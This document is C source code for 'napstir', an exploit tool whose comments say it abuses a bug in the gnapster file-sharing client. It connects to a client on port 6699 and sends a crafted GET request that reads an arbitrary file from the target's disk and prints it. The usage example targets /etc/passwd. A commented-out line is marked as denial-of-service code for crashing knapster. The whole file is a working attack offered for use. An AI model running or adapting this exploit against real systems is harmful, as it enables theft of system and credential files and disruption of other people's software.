/* napstir by Derek Callaway <super@udel.edu> -- S@IRC *
 * Exploits a gnapster bug... (probably exists in other clients, too.)
 * Greetings: inNUENdo, s0ftpj, napster
 * I discovered some service denial techniques while coding; see below.
 */ 
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<unistd.h>
#include<ctype.h>
void vexit(const char *func){perror(func);exit(EXIT_FAILURE);}
int main(int argc,char**argv){
	int sock,port,len;
	struct hostent *he;
	char str[4096],buf[4096],*sln,*op,c;
	struct sockaddr_in ta;
	if(argc<3){
		printf("napstir by S\n");
		printf("usage: %s host file [port] [username]\n",argv[0]);
		printf("example: %s metallica.com ",argv[0]); 
		printf("\"\\etc\\passwd\" 6699\n");
		printf("default port is 6699\n");
		printf("default username is Lamer (usually not required)\n");
		exit(EXIT_SUCCESS);
	}
	if(!(he=gethostbyname(argv[1])))vexit("gethostbyname");
	ta.sin_family=AF_INET;
	ta.sin_addr=*((struct in_addr*)he->h_addr);
	if(argv[3]){
		port=strtol(argv[3],(char**)0,10);
		if(errno==ERANGE)vexit("strtol");
	} else port=6699;
	ta.sin_port=htons(port);
	memset(&ta.sin_zero,0,sizeof(ta.sin_zero));
	if((sock=socket(AF_INET,SOCK_STREAM,0))<0)vexit("socket");
	if(connect(sock,(struct sockaddr*)&ta,sizeof(struct sockaddr))<0)
		vexit("connect");
	/* I wonder what this byte is for. */
	recv(sock,&buf,1,0);
	/* 9 is the code for T1 bitrate -- Most clients ignore the username 
	 * field. 
	 */
	sprintf(str,"%s \"%s\" 9",(argc>=4)?argv[4]:"Lamer",argv[2]);
	send(sock,"GET",3,0);
	send(sock,(char*)str,strlen(str),0);
	/*  * SERVICE DENIAL CODE *
         *  Uncomment this line if you'd like to crash knapster. :-)
         *  send(sock,"0",1);
         */
	if(!(op=sln=(char*)malloc(1024)))vexit("malloc");
	do {
		read(sock,&c,1);
		sprintf(sln,"%c",c);
		sln++;
	} while(isdigit(c));
	*sln=0;
	sln=op;
	len=strtol(sln,(char**)0,10);
	if(errno==ERANGE)vexit("strtol");
	write(STDOUT_FILENO,&c,1);
	if((port=read(sock,&buf,len-1))<0)vexit("read");
	write(STDOUT_FILENO,buf,port);
	exit(EXIT_SUCCESS);
}